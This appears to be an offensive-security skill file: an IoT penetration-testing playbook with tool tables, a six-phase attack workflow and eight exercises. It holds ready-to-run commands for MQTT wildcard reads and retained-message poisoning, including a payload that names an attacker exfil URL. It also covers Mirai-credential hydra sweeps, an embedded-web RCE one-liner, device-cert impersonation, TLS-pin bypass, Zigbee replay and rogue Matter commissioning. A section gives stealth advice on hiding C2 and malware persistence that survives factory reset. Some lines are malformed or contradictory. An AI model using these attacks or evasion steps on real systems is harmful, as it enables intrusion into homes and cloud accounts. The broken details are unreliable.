Skill: IoT Pentest
Supplementary Files:
payloads.md — Command catalogue for mosquitto_sub/pub, EMQX HTTP API, libcoap client, Copper (Firefox CoAP), AMQP-clj, Shodan/Censys IoT dorks, mDNS/SSDP/UPnP discovery, AWS IoT / Azure IoT Hub / GCP IoT pivots, Zigbee application layer (Killerbee after key), Thread/Matter protocol testing, IoT-Goat lab setup, OWASP IoT Top 10 (2018) mappings — 14 sections with real CLI flags and CVE references (Mirai, Verkada, Jeep Cherokee, St. Jude cardiac).
test-cases.md — Structured test cases (MQTT wildcard subscription, retained-message poisoning, CoAP .well-known/core enumeration, anonymous MQTT broker, AMQP default-cred login, mDNS/SSDP discovery, AWS IoT thing shadow tampering, mobile companion app API extraction, IoT-Goat lab scenario, Zigbee network-key replay, Matter commissioning abuse, OT/IoT gateway pivot) — 12 cases across 6 categories.
guides/iot-pentest-playbook.md — End-to-end red team playbook: device discovery → protocol recon → broker/service attack → app layer → cloud backend → mobile companion. Includes pre-engagement checklist, OWASP IoT Top 10 (2018) matrix, and report template.
guides/radio-and-firmware-iot-testing-playbook.md — Radio link and firmware extraction playbook (Zigbee with KillerBee/APIMote, BLE with Ubertooth/nRF Connect, LoRaWAN join procedure and MIC brute force, firmware extraction via binwalk/flashrom/ISP/JTAG/SWD/UART, Ghidra firmware analysis workflow, drop-box arming for physical access, and OWASP IoT Top 10 mapping)
Summary
IoT application-layer penetration testing skill domain covering MQTT broker abuse (wildcard subscription, retained-message poisoning, topic injection), CoAP server attacks (.well-known/core enumeration, blockwise-transfer abuse, method exploitation), AMQP/RabbitMQ IoT abuse, device discovery (mDNS/SSDP/UPnP), default-credential Telnet/SSH on embedded devices, cloud IoT backend pivots (AWS IoT Core, Azure IoT Hub, GCP IoT), Zigbee application-layer post-key attacks, and Thread/Matter protocol testing.
Tools: mosquitto_sub/pub, EMQX HTTP API, libcoap (coap-client), Copper (Firefox), MQTT-Pwn, IoT-Goat lab, Shodan/Censys IoT dorks, mitmproxy (mobile companion), Killerbee (Zigbee app layer), aws-iot-device-sdk, az cli (IoT Hub), chip-tool (Matter)
Domain: iot
MITRE ATT&CK: TA0007-Discovery (IoT device recon), T1021-Remote Services (MQTT/CoAP/AMQP), T1190-Exploit Public-Facing Application, T1110-Brute Force (default creds)
Description
IoT has graduated from "smart lightbulb" to "the connective tissue of every vertical" — consumer smart homes, medical wearables (St. Jude/Abbott pacemakers, Medtronic insulin pumps), industrial sensors (IIoT gateways), fleet telematics, retail (Verkada cameras), automotive (Jeep Cherokee Uconnect, Tesla MCU), and smart-city infrastructure. What unifies these is the application layer: every IoT deployment converges on a small set of protocols (MQTT, CoAP, AMQP, HTTP/WS) and a small set of architectural patterns (device → broker → cloud backend → mobile companion). This skill covers the exploitation of those layers.
This skill is scoped to the application layer — what runs on top of the network, after firmware has been extracted (see firmware-reverse) and before physical hardware tampering (see hardware-security). The differentiator from adjacent skills:
-
MQTT is the lingua franca of IoT — and it is almost always misconfigured. MQTT (OASIS, port 1883 plaintext / 8883 TLS) is a publish/subscribe protocol with three primitives: CONNECT, PUBLISH, SUBSCRIBE. The protocol has no authentication by default (MQTT 3.1.1 sends credentials in cleartext inside the CONNECT packet; MQTT 5 added enhanced auth but adoption is slow). The broker enforces ACLs on topic patterns — and most deployments either have no ACL, a wildcard ACL (# matches everything), or use device-credentials that grant # by accident. Mirai used this exact class of bug: unauthenticated Telnet was the initial access, but MQTT was the C2 channel. Shodan indexed 10M+ unauthenticated MQTT brokers at the peak.
-
CoAP (Constrained Application Protocol, RFC 7252) is HTTP-for-microcontrollers, with HTTP's bugs. CoAP runs over UDP port 5683 and replicates the REST model (GET/POST/PUT/DELETE on URIs) for constrained devices. It has .well-known/core discovery (an IoT equivalent of robots.txt), blockwise transfers (BERT/Block1/Block2 options), and observe (RFC 7641, an IoT equivalent of Server-Sent Events). Each of these has had CVEs: blockwise transfer abuse for memory exhaustion, .well-known/core for asset discovery, observe-subscription hijacking for persistent read access. libcoap and Copper (Firefox extension) are the standard testing tools.
-
Cloud IoT backends are the new crown jewels. AWS IoT Core, Azure IoT Hub, and (deprecated) GCP IoT all use per-device X.509 certificates or SAS tokens for authentication, and per-device "thing shadows" / "device twins" for state. Compromise the device cert → you are the device from the cloud's perspective, and can read/update its shadow, subscribe to its command topics, or pivot to other devices if the cert is shared (it almost always is, on cheap consumer gear). Verkada (2021) was the canonical breach: the cloud backend gave every customer's camera feed to anyone who could enumerate the customer org.
-
Mobile companion apps are the API documentation the vendor forgot to remove. Every consumer IoT device ships with a mobile app, and the app hardcodes the API endpoints, the broker URL, the TLS pinning (if any), and often the device pairing flow. Frida + mitmproxy on the companion app reveals the entire cloud-device protocol in under an hour. The Jeep Cherokee hack (Miller & Valasek, 2015) started with the mobile companion app's API enumeration.
-
The "device" in IoT pentest is rarely one thing. A smart-lock engagement covers: the lock's embedded firmware (firmware-reverse), the lock's BLE pairing (bluetooth-rfid-nfc), the lock's Wi-Fi provisioning, the lock's MQTT topics on the vendor's cloud broker (this skill), the mobile app's API (this skill), the cloud thing-shadow (this skill), and the user-account portal. Each layer has its own auth model and its own bugs; the engagement fails when any one layer is treated as the whole.
Difference from firmware-reverse: Firmware-reverse covers binwalk extraction, Ghidra analysis of the firmware binary, hardcoded secrets in the image. IoT-pentest takes the firmware-reverse findings (extracted cert, hardcoded MQTT creds) and uses them against the live device and cloud backend.
Difference from hardware-security: Hardware-security covers JTAG/UART/SWD, power-analysis side-channels, fault injection, and chip-level attacks. IoT-pentest assumes the device is running and focuses on what the running device exposes over the network.
Difference from bluetooth-rfid-nfc: Bluetooth-RFID-NFC covers BLE GATT, RFID/NFC cloning, BT Classic pairing — the radio layer of the device. IoT-pentest covers what happens after the device has joined the Wi-Fi/Ethernet network: the MQTT topics it subscribes to, the cloud it reports to, the companion app it pairs with. Zigbee's application layer (post network-key) is here; Zigbee's network layer (key extraction) belongs in hardware-security / SDR.
Difference from sdr-rf-attack: SDR covers RF signal capture, replay, and analysis (433MHz remotes, keyfobs, OOK/FSK demodulation). IoT-pentest uses SDR findings (a captured 433MHz frame) as one input among many, but the primary surface is IP-based protocols.
Difference from scada-ics-security: SCADA covers Modbus, S7comm, DNP3, EtherNet/IP, OPC UA — industrial protocols running on PLCs and RTUs. IoT-pentest covers MQTT, CoAP, AMQP — commercial/consumer protocols running on smart devices. The overlap is OT/IoT gateways (covered in this skill as a bridge topic).
Difference from api-security: API-security covers generic REST/GraphQL web APIs. IoT-pentest covers IoT-specific protocols (MQTT, CoAP, AMQP) AND the cloud-device REST/WS APIs that wrap them (AWS IoT data-plane, Azure IoT Hub device methods, GCP IoT config).
Difference from cloud-security: Cloud-security covers AWS/Azure/GCP control plane (IAM, S3, EC2). IoT-pentest covers the IoT-specific services within those clouds (AWS IoT Core thing registry, Azure IoT Hub device twins, GCP IoT Core registry).
Use Cases
- Pre-engagement smart-device audit: Given a consumer IoT device (smart lock, camera, thermostat, wearable), map its full attack surface: local network services, cloud broker topics, mobile app API, and cloud backend — before an adversary does.
- MQTT broker compromise: Identify an unauthenticated or over-permissioned MQTT broker, demonstrate wildcard subscription to read every device's telemetry, and show retained-message poisoning to inject malicious commands to subscribed devices.
- CoAP server assessment: Enumerate
.well-known/core, identify writable resources, test blockwise-transfer abuse for DoS, and demonstrate observe-subscription hijacking for persistent read access to a constrained device's sensor data.
- Cloud IoT backend pivot: From a compromised device cert (extracted via firmware-reverse) or a leaked device SAS token, masquerade as the device against AWS IoT Core / Azure IoT Hub, read/update its thing shadow, and pivot to sibling devices if certs are shared.
- Mobile companion app reverse engineering: Use Frida + mitmproxy to extract the API endpoints, broker URLs, TLS pinning logic, and pairing flow from the vendor's mobile app — then replay the discovered API to manipulate the cloud account.
- Default-credential sweep on embedded devices: Enumerate Telnet (23/tcp) and SSH (22/tcp) on discovered IoT devices, test Mirai-class default credentials (admin/admin, root/xc3511, admin/7ujMko0admin), and document the blast radius.
- Device discovery (mDNS/SSDP/UPnP): Use avahi-browse, ssdp-discover, and upnp-utils to map every IoT device on a local network segment without active port scanning — and identify the UPnP services that expose RPC to the LAN.
- Zigbee application-layer testing (post-key): Given the Zigbee network key (extracted via hardware-security/Killerbee), decrypt traffic, replay Zigbee ZCL commands, and demonstrate unauthorized device control (smart-bulb hijack, smart-lock unlock).
- Matter/Thread commissioning abuse: Test the Matter commissioning flow (passcode, BLE rendezvous, Thread network credentials) for replay, brute force, and device-spoofing attacks against a smart-home fabric.
- OT/IoT gateway assessment: For an industrial IoT deployment, test the gateway that bridges OT protocols (Modbus, OPC UA) up to the IoT cloud (MQTT) — the gateway is where OT and IoT threat models collide.
Core Tools
Broker & Protocol Testing
| Tool | Purpose | Command Example |
|---|
| mosquitto_sub / mosquitto_pub | Reference MQTT 3.1.1 / 5.0 client (sub, pub, wildcard) | mosquitto_sub -h broker.local -t '#' -v (wildcard sub) |
| EMQX HTTP API | Broker management / ACL enumeration on EMQX deployments | curl -u admin:public http://broker:18083/api/v4/clients |
| MQTT-Pwn (1.5k stars) | MQTT broker abuse framework (broker-as-C2, retained injection) | mqtt-pwn -H broker -P 1883 --wildcard |
| libcoap (coap-client) | Reference CoAP client (GET/POST/PUT/DELETE, observe, blockwise) | coap-client -m get coap://device/.well-known/core |
| Copper (Firefox addon) | GUI CoAP client for interactive .well-known/core exploration | coap://device:5683/.well-known/core |
| aiocoap (Python) | Async CoAP library for scripting (observe, multicast) | python3 -m aiocoap.client GET coap://device/sensor/temp |
Device Discovery & Network Services
| Tool | Purpose | Command Example |
|---|
| avahi-browse / dns-sd | mDNS / DNS-SD service discovery (IoT devices advertise _http._tcp, _mqtt._tcp, _coap._tcp) | `avahi-browse -art |
| gupnp-universal-cp / upnp-utils | UPnP / SSDP discovery and control-point enumeration | gssdp-discover --target=ssdp:all |
| nmap (IoT NSE scripts) | Port scan + iot-interesting NSE for IoT service fingerprinting | nmap -sV --script iot-interesting,broadcast-upnp-info 192.168.1.0/24 |
Mobile & Cloud Layer
| Tool | Purpose | Command Example |
|---|
| mitmproxy | TLS-intercept the mobile companion app's HTTP/WS traffic | mitmproxy --mode transparent -p 8080 |
| Frida | Runtime instrumentation of the mobile app (bypass TLS pinning, hook crypto) | frida -U -f com.vendor.app -l bypass.js --no-pause |
| aws iot / az iot / chip-tool | Cloud IoT backend CLI (AWS IoT Core, Azure IoT Hub, Matter commissioning) | aws iot describe-thing --thing-name cam-001 / chip-tool pairing onnetwork 1 20202021 |
Methodology
IoT Red Team Six-Phase Workflow
Phase 1 Phase 2 Phase 3 Phase 4 Phase 5 Phase 6
Device Discovery → Protocol Recon → Broker/Service → App Layer → Cloud Backend → Mobile Companion
(mDNS/SSDP/UPnP, (port 1883/8883 Attack (MQTT (embedded web, (AWS IoT Core, (mitmproxy, Frida,
Shodan, nmap) /5683/5672/8883 wildcard, CoAP REST/WS APIs on Azure IoT Hub, API extraction,
fingerprinting) .well-known, device, OT/IoT thing-shadow TLS-pin bypass,
default creds) gateway) tamper) pairing replay)
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Pass. discovery mosquitto_sub, Unauth broker, Embedded httpd Device cert, Endpoints,
(avahi, gupnp), coap-client retained poison, (lighttpd, Boa), SAS token, broker URLs,
active scan .well-known topic injection, Boa RCE, thing-shadow pairing flow,
(nmap) enumeration CoAP observe OT gateway read/update hardcoded creds
Phase 1: Device Discovery — Find every IoT device on the engagement network. Passive: mDNS/DNS-SD (avahi-browse -art), SSDP/UPnP (gssdp-discover --target=ssdp:all), traffic sniffing (tcpdump -i wlan0 'port 1900 or port 5353 or port 1883'). Active: nmap with IoT NSE (iot-interesting, broadcast-upnp-info). External: Shodan/Censys dorks (product:mosquitto, product:coap, port:1883 country:US). Document each device: IP, MAC OUI (vendor), open ports, advertised services.
Phase 2: Protocol Reconnaissance — For each discovered device, fingerprint the IoT protocols. MQTT: mosquitto_sub -h <ip> -t '#' -v -C 1 (single-packet probe to confirm broker). CoAP: coap-client -m get coap://<ip>/.well-known/core (resource discovery). AMQP: nmap -sV -p 5672 <ip> and amqp-clj -h <ip> for AMQP version. HTTP/WS: nmap -sV -p 80,443,8080,8883 <ip> and curl -sk http://<ip>/. Identify firmware versions via banners, HTTP headers, and the mobile app's /version endpoint.
Phase 3: Broker/Service Attack — Exploit the IoT protocols. MQTT: anonymous login (mosquitto_sub -h <ip> -t '#' with no creds), wildcard subscription (#), retained-message poisoning (mosquitto_pub -h <ip> -t 'cmd/device/reboot' -m '1' -r), topic enumeration. CoAP: writable resource enumeration (POST/PUT on .well-known/core entries), blockwise-transfer abuse (Block2 size 1024 to exhaust memory), observe-subscription hijacking. Default creds: hydra -L iot-users.txt -P iot-passwords.txt <ip> telnet for Mirai-class credentials (admin/admin, root/xc3511, admin/7ujMko0admin).
Phase 4: Application Layer — Embedded web services on the device. Common embedded httpds: lighttpd, Boa, GoAhead, mini_httpd — each has known CVEs (Boa CVE-2017-9833 RCE via cgi-bin, GoAhead CVE-2017-17562 LD_PRELOAD RCE). REST/WS APIs exposed by the device: enumerate endpoints from the mobile app's traffic. OT/IoT gateways: test the bridge from OT protocols (Modbus on 502) to IoT protocols (MQTT publish) — the gateway is a trust boundary that often fails to validate either direction.
Phase 5: Cloud IoT Backend — Pivot to the cloud. AWS IoT Core: extract device cert/key from firmware → mosquitto_pub --ca-file root-CA.crt --cert device.crt --key device.key -h <prefix>-ats.iot.us-east-1.amazonaws.com -p 8883 -t 'cmd/device-id/reboot' -m '{"cmd":"reboot"}'. Azure IoT Hub: extract SAS token → az iot hub device-twin show -n <hub> -d <device-id>. Read/update thing shadows / device twins to inject malicious desired state. Identify shared certs across devices (consumer gear almost always shares the device cert across the same SKU) → pivot to all sibling devices.
Phase 6: Mobile Companion App — Reverse engineer the mobile app. Intercept: mitmproxy --mode transparent with the device's traffic routed through the attacker's Wi-Fi. TLS pinning bypass: Frida script frida-code-share iOS/Android pin-bypass. Extract: API endpoints, broker URLs, device pairing flow, hardcoded credentials. Replay: POST to the cloud API with the extracted auth token to enumerate other customers' devices (the Verkada pattern). Pairing replay: capture the Matter passcode- or BLE-rendezvous pairing exchange → replay to commission a rogue device into the same fabric.
Quick Selection Guide
| Scenario | Primary Approach | Alternative |
|---|
| Unauthenticated MQTT broker | mosquitto_sub -h <ip> -t '#' -v (wildcard read) | MQTT-Pwn framework for broker-as-C2 |
| Retained message injection | mosquitto_pub -h <ip> -t 'cmd/<dev>/reboot' -m '1' -r | Identify which device subscribes to cmd/+/reboot |
CoAP .well-known/core enum | coap-client -m get coap://<ip>/.well-known/core | Copper (Firefox) for interactive exploration |
| CoAP blockwise DoS | coap-client -m get -b 1024 coap://<ip>/large-resource | aiocoap with Block2=16 to amplify |
| Default-cred Telnet sweep | nmap -p23 --script iot-interesting <subnet> + hydra -L iot-users.txt -P iot-pwds.txt <ip> telnet | Mirai-style credential list |
| Embedded httpd RCE | `curl 'http:///cgi-bin/? | id'` (Boa CVE-2017-9833) |
| AWS IoT device cert abuse | mosquitto_pub --cert dev.crt --key dev.key --ca-file root.crt -h <endpoint> -p 8883 -t '...' | aws iot CLI with extracted cert |
| Azure IoT Hub twin read | az iot hub device-twin show -n <hub> -d <dev> | mosquitto_sub --cert dev.crt ... -t '$iothub/twin/GET/#' |
| Mobile API extraction | mitmproxy --mode transparent + Frida pin-bypass | APK static analysis with jadx |
| Matter commissioning replay | Capture passcode → chip-tool pairing onnetwork <id> <passcode> | Frida-hook the vendor's commissioning flow |
| Zigbee post-key replay | killerbee zbreplay -f capture.pcap after network-key extraction | ZCL frame crafting with Scapy-Zigbee |
| OT/IoT gateway pivot | Modbus FC06 write → MQTT publish chain | OPC UA node write → IoT cloud push |
Defense Perspective
| Defense Measure | Description |
|---|
| MQTT broker ACLs | Per-device ACL on topic patterns. Wildcard # should NEVER be granted to a device credential. Use ${clientid}/up/* and ${clientid}/down/* patterns. Mosquitto: topic readwrite devices/${clientid}/# in acl_file. EMQX: per-client ACL via HTTP auth plugin. |
| MQTT TLS + strong auth | Port 8883 (TLS) only; disable 1883 (plaintext). MQTT 5.0 enhanced auth (SCRAM, Kerberos) where supported. X.509 client certs (mTLS) over username/password — AWS IoT Core enforces this by design. |
| Per-device X.509 certificates | One cert per device, never per-SKU. Compromise of one device cert must not grant access to sibling devices. AWS IoT Core: thing-principal unique per thing. Azure IoT Hub: X.509 per-device, not per-CA for production. |
| CoAP DTLS + OSCORE | CoAP over DTLS (RFC 6347) on port 5684 with mutual auth. OSCORE (RFC 8613) for end-to-end object security on constrained devices. Never run CoAP plaintext on port 5683 outside a segmented network. |
| Network segmentation | IoT VLAN isolated from corporate and OT VLANs. IoT devices should not be reachable from user workstations. mDNS/SSDP/UPnP blocked at the IoT VLAN boundary. |
| Disable UPnP IGD on IoT network | UPnP IGD allows IoT devices to open inbound ports on the router — a persistent Mirai-style vector. Disable UPnP IGD on the gateway; use explicit port forwarding only where required. |
| Cloud IoT least-privilege policies | AWS IoT Core: thing policy scoped to connect + publish/subscribe on devices/${iot:ClientId}/* only. Never * on iot:*. Azure IoT Hub: per-module RBAC. GCP IoT: per-device MQTT topic ACL. |
| Mobile app hardening | TLS pinning (and verified via Frida in CI). No hardcoded credentials. API keys in a server-mediated flow, not embedded in the APK/IPA. Pairing uses ECDH with anti-replay nonces. |
| Device identity attestation | Per-boot TPM/secure-element attestation of the device cert. Cloud backend revokes device certs on attestation failure. Prevents cert-extraction → replay attacks. |
| Firmware signing + secure boot | U-Boot secure boot + signed firmware images prevents the firmware-reverse → cert-extraction chain at the root. Mismatch between firmware-reverse findings and live cloud behavior indicates the cert has been revoked. |
| Anomaly detection on broker | Detect wildcard subscriptions (a device should never SUBSCRIBE #). Alert on retained-message PUBLISH from an unknown client. Rate-limit PUBLISH to detect Mirai-class botnet C2. EMQX rule-engine + Kafka for SIEM forwarding. |
Practical Steps
Detailed payloads in payloads.md, complete test checklist in test-cases.md.
Exercise 1: MQTT Broker Reconnaissance and Wildcard Subscription
Goal: confirm an MQTT broker is exposed, enumerate its topics, and demonstrate read access.
# 1. Quick probe — single packet, no connect retained
mosquitto_sub -h <broker-ip> -p 1883 -t '#' -v -C 1 -W 5
# If you see a packet: broker is up and accepts anonymous. If timeout: closed or auth required.
# 2. Wildcard subscription — read every published message
mosquitto_sub -h <broker-ip> -p 1883 -t '#' -v
# Topics you'll commonly see:
# devices/<dev-id>/telemetry/temp — sensor reads
# devices/<dev-id>/status/battery — device health
# cmd/<dev-id>/reboot — cloud-to-device commands
# $SYS/broker/... — mosquitto/EMQX internal stats
# 3. Enumerate retained messages (persisted across subscriber connections)
mosquitto_sub -h <broker-ip> -t '#' -v -W 10 | sort -u
# Retained messages show up immediately on connect, even if no one is publishing.
# 4. EMQX-specific — enumerate via HTTP API (default creds admin:public)
curl -s -u admin:public http://<broker-ip>:18083/api/v4/clients | jq '.data[] | {clientid, username, ip_address}'
curl -s -u admin:public http://<broker-ip>:18083/api/v4/subscriptions | jq '.data[] | {clientid, topic}'
# 5. Shodan dork for external MQTT brokers
# product:mosquitto port:1883 country:US
# "MQTT" port:1883 -auth (brokers accepting anonymous)
Exercise 2: MQTT Retained-Message Poisoning
Goal: inject a malicious retained message that every future subscriber to that topic receives.
# 1. Identify a cloud-to-device command topic by observing normal traffic
mosquitto_sub -h <broker-ip> -t 'cmd/#' -v -W 60
# Example observed:
# cmd/livingroom-light/on {"state":"ON","brightness":100}
# cmd/livingroom-light/off {"state":"OFF"}
# 2. Publish a retained malicious command
mosquitto_pub -h <broker-ip> -t 'cmd/livingroom-light/on' \
-m '{"state":"ON","brightness":100,"report_url":"http://attacker/exfil?d="}' -r
# 3. Every device that subscribes to 'cmd/livingroom-light/+' will now receive
# this malicious payload — even if the legitimate controller never sent it.
# 4. Cleanup — publish a retained zero-length message to delete the retained state
mosquitto_pub -h <broker-ip> -t 'cmd/livingroom-light/on' -n -r
Exercise 3: CoAP .well-known/core Enumeration
Goal: discover every CoAP resource a constrained device exposes.
# 1. Standard discovery
coap-client -m get coap://<device-ip>:5683/.well-known/core
# Response is a CoRE Link Format (RFC 6690) list:
# </sensors/temp>;ct=41;rt="temperature-c";obs,
# </sensors/humidity>;ct=41;rt="humidity-c";obs,
# </actuators/relay/0>;ct=0,
# 2. For each resource, check observe (RFC 7641) — persistent subscription
coap-client -m get -O 6,0 coap://<device-ip>:5683/sensors/temp
# Option 6 (Observe), value 0 = register. Device will stream updates.
# 3. Test writable resources — POST/PUT
coap-client -m post -e '1' coap://<device-ip>:5683/actuators/relay/0
# If the relay toggles: unauthenticated write confirmed.
# 4. Blockwise transfer — request a large resource with a small block size
coap-client -m get -b 1024 coap://<device-ip>:5683/logs/full
# Observe device behavior — constrained devices may exhaust memory on Block2 fragmentation.
# 5. Copper (Firefox) for interactive exploration
# Install Copper add-on → navigate to coap://<device-ip>:5683/.well-known/core
# GUI shows every resource, allows one-click GET/POST/PUT/DELETE/Observe.
Exercise 4: Default-Credential Sweep on IoT Devices
Goal: identify Mirai-class default credentials on embedded Telnet/SSH.
# 1. Discover devices with Telnet/SSH open
nmap -p22,23 --open -n -Pn <subnet> -oG - | awk '/Up$/{print $2}' > iot_targets.txt
# 2. Mirai credential list (the canonical list Mirai scanned for)
cat > iot-users.txt <<EOF
root
admin
guest
default
EOF
cat > iot-passwords.txt <<EOF
admin
12345
123456
password
root
xc3511
vizxv
admin/admin
7ujMko0admin
tlJwpbo6
solokey
default
EOF
# 3. Hydra sweep
while read ip; do
hydra -L iot-users.txt -P iot-passwords.txt -t 4 -W 5 $ip telnet | tee -a iot-creds.txt
done < iot_targets.txt
# 4. For each cracked device, document the credential and the device type
# (telnet banner, OEM MAC OUI, nmap fingerprint).
# 5. NEVER use cracked credentials for further exploitation without
# explicit written authorization — credential reuse beyond scope is
# one of the most common red-team scope-creep failures.
Exercise 5: AWS IoT Core Device-Cert Abuse
Goal: from an extracted device cert (firmware-reverse output), masquerade as the device against AWS IoT Core.
# 1. You have (from firmware-reverse): device.pem.crt, device.pem.key, root-CA.crt
# The cert's CN or subject contains the thing-name hint.
# 2. Identify the AWS IoT endpoint
# Either: hardcoded in firmware as <prefix>-ats.iot.<region>.amazonaws.com
# Or: derive from the cert's issuer / cloud-trace from mobile app traffic.
aws iot describe-endpoint --endpoint-type iot:Data-ATS
# {"endpointAddress": "abc123defghijk-ats.iot.us-east-1.amazonaws.com"}
# 3. Connect with the device cert and subscribe to the device's command topic
mosquitto_sub --ca-file root-CA.crt --cert device.pem.crt --key device.pem.key \
-h abc123defghijk-ats.iot.us-east-1.amazonaws.com -p 8883 \
-t 'cmd/device-id/#' -v
# AWS IoT Core's topic namespace convention: clients can only publish/subscribe
# to topics their attached IoT policy permits. A misconfigured policy grants
# wildcard, allowing cross-device read.
# 4. Read the thing shadow (device state)
mosquitto_pub --ca-file root-CA.crt --cert device.pem.crt --key device.pem.key \
-h <endpoint> -p 8883 -t '$aws/things/device-id/shadow/get' -m '{}' -q 1
mosquitto_sub --ca-file root-CA.crt --cert device.pem.crt --key device.pem.key \
-h <endpoint> -p 8883 -t '$aws/things/device-id/shadow/get/#' -W 5
# 5. Or via the AWS CLI (if you also have the cloud account creds from a separate
# cloud-security finding)
aws iot describe-thing --thing-name device-id
aws iot-data get-thing-shadow --thing-name device-id /dev/stdout | jq .
Exercise 6: Mobile Companion App API Extraction
Goal: extract the cloud API endpoints, broker URLs, and pairing flow from the vendor's mobile app.
# 1. Set up mitmproxy in transparent mode on a Wi-Fi AP you control
mitmproxy --mode transparent -p 8080
# Configure the test phone to route through your AP with mitmproxy as gateway.
# 2. If the app uses TLS pinning, install Frida on the test phone
# iOS (jailbroken): cydia install frida
# Android (root): pip install frida-tools && frida-server &
frida -U -f com.vendor.iotapp -l pin-bypass.js --no-pause
# pin-bypass.js: hook SecTrustEvaluateWithError / OkHttp CertificatePinner to
# always return success.
# 3. Walk through the app's flows: login, list devices, command a device, pair a new device.
# mitmproxy captures every request:
# POST https://api.vendor.com/v2/auth/login {email, password}
# GET https://api.vendor.com/v2/devices Bearer <jwt>
# POST https://api.vendor.com/v2/devices/<id>/cmd Bearer <jwt> {"cmd":"on"}
# WSS wss://broker.vendor.com:443/mqtt (MQTT-over-WebSocket)
# 4. Replay the captured JWT against the API to enumerate sibling devices
curl -H "Authorization: Bearer <jwt>" https://api.vendor.com/v2/devices
# 5. Extract the broker URL — the app likely connects to the same broker the
# physical devices do. With the JWT or app-level creds, you can subscribe
# to other customers' topics if the broker ACL is permissive.
# This is the canonical "Verkada pattern": cloud-portal auth + permissive broker.
Exercise 7: Zigbee Application-Layer Replay (Post-Network-Key)
Goal: assuming the Zigbee network key has been extracted (see hardware-security/Killerbee), decrypt and replay ZCL commands.
# 1. Capture Zigbee traffic with an Atmel RZUSBSTICK or Killerbee-compatible sniffer
sudo kb_finder_lnx -i 11 -s -15 # scan channels for activity
sudo zbdump -i 11 -w capture.pcap # capture channel 11
# 2. Decrypt with the extracted network key
zbconvert -i capture.pcap -o decrypted.pcap -k 0011223344556677889900AABBCCDDEE
# 3. Identify a ZCL command (e.g., On/Off cluster, command 0x00 = Off, 0x01 = On)
wireshark decrypted.pcap
# Filter: zbee_zcl.cmd.id == 0x01 && zbee_zcl.cluster.id == 0x0006
# 4. Craft a replay with Scapy-Zigbee
python3 <<'EOF'
from scapy.all import *
from scapy.layers.zigbee import *
# Reuse the captured network-layer headers, swap the ZCL command
frame = ZigBeeNWK(...)/ZigbeeSecurityHeader(...)/ZigBeeAplPayload(...)/ZigbeeZclCmd(cmd=0x01)
sendp(Raw(bytes(frame)), iface='wpan0')
EOF
# 5. The target smart bulb turns on without the legitimate controller.
Exercise 8: Matter / Thread Commissioning Abuse
Goal: test the Matter (CHIP) commissioning flow for replay, brute force, or device spoofing.
# 1. Capture the commissioning flow — Matter uses BLE for the initial rendezvous
# (passcode exchange), then transitions to Thread for the operational network.
sudo hcitool lescan # find the device advertising as Matter
sudo ubertooth-btle -f -c matter.pcap
# 2. The onboarding passcode is shown on the device QR code (e.g., 20202021)
# Vendor implementation: brute-force the passcode? PAKE (SRP) limits online
# brute force, but offline analysis of the captured exchange may be possible
# if the vendor weakened the PAKE.
# 3. chip-tool for legitimate commissioning (reference flow)
chip-tool pairing onnetwork 1 20202021
# 4. Rogue-device attack: implement a fake Matter device on the attacker's
# hardware, advertise the same vendor/product ID, intercept the commissioning.
# If the commissioner doesn't validate the device's DAC (Device Attestation
# Certificate) properly, the rogue device joins the fabric.
chip-tool pairing onnetwork 2 20202021 # attacker-commissioned rogue
# 5. Once on the fabric, the rogue device can subscribe to cluster state
# (on/off, level, color) across the fabric — full smart-home control.
Detection Methods
IoT Device Telemetry
- Firmware anomalies: Unexpected firmware version; hash mismatch.
- Network anomalies: IoT device communicating with non-cloud endpoint (C2 signature).
- Physical tamper: Chassis intrusion switch; accelerometer anomalies.
- Radio anomalies: Zigbee/Bluetooth mesh new devices; unknown devices pairing.
SIEM Detection Rules
- Splunk SPL (IoT):
index=iot sourcetype=device_telemetry | stats dc(dst_ip) by device_id | where dc > 5
- AWS IoT Device Defender: Anomaly detection for IoT devices.
- Azure IoT Hub: Device twin monitoring; alert on unexpected changes.
Defense Evasion Techniques
Device Compromise Stealth
- Use legitimate device credentials: Don't create new accounts; reuse existing service account.
- Off-hours operation: IoT devices often have low baseline; operate during peak hours.
- Mimic normal patterns: Send telemetry to legitimate cloud endpoint (via MITM); hide C2 in covert channel.
Firmware Stealth
- Persistent via update mechanism: Use OTA (over-the-air) update flow; appears as legitimate update.
- RAM-only malware: Run from RAM; no persistent file artifacts.
- Modified bootloader: Modify U-Boot to load modified kernel; survives factory reset.
Protocol-Level Stealth
- Mimic legitimate Zigbee/Bluetooth traffic: Use legitimate PAN ID, network key.
- Low-power radio: Use minimum TX power; reduces detection range.
- Frequency channel rotation: Hop between Zigbee channels; per-channel detection threshold not exceeded.
Common Pitfalls
- Treating MQTT anonymous access as "informational": An unauthenticated MQTT broker with wildcard subscription is a CRITICAL finding, not informational. Every retained message is persisted; every cloud-to-device command is visible; every telemetry stream is in cleartext (unless TLS-only). The Mirai botnet's C2 ran on anonymous MQTT. Document the full read/write exposure, not just "broker is open."
- Assuming per-device certs are unique: Cheap consumer IoT gear almost always ships the same X.509 cert across the same SKU (sometimes across multiple SKUs). Compromising one device's cert frequently grants access to every sibling device on the same cloud tenant. Always test cert reuse on at least 2-3 devices of the same model before declaring the cert compromise contained.
- Forgetting CoAP runs over UDP: nmap's default
-sS (TCP SYN) scan misses CoAP entirely. Use nmap -sU -p5683 --script=coap-* or nmap -sV -p 5683 with UDP probing. Better: coap-client -m get coap://<ip>/.well-known/core directly — if it responds, the service is up.
- Trusting the mobile app's TLS pinning at face value: A Frida pin-bypass script defeats most vendor apps in under 5 minutes. Never claim "TLS pinning prevents API extraction" without verifying by attempting the bypass. The pinning is the first line of defense, not the only one.
- Confusing Zigbee network layer with application layer: The Zigbee network key (extracted via hardware-security) gives you decryption and frame replay at the NWK layer. But the ZCL application layer may have its own APS-layer key (link key), and some clusters require application-level authentication (e.g., doorlock cluster). Decrypt the NWK layer first; then check whether APS-layer encryption is also present before assuming full control.
- Overlooking retained messages in cleanup: Retained MQTT messages persist across broker restarts. If you
mosquitto_pub -r a malicious payload during testing, the only way to remove it is to publish a zero-length retained message (mosquitto_pub -n -r) to the same topic. Forget this and the malicious command keeps firing for every future subscriber — including the legitimate device.
- Assuming cloud IoT endpoints are private: AWS IoT endpoints (
*.iot.us-east-1.amazonaws.com) are internet-facing by design. The X.509 cert is the only thing standing between an attacker and the device's data plane. Treat the cert as a credential of the highest sensitivity; never commit it to a public repo.
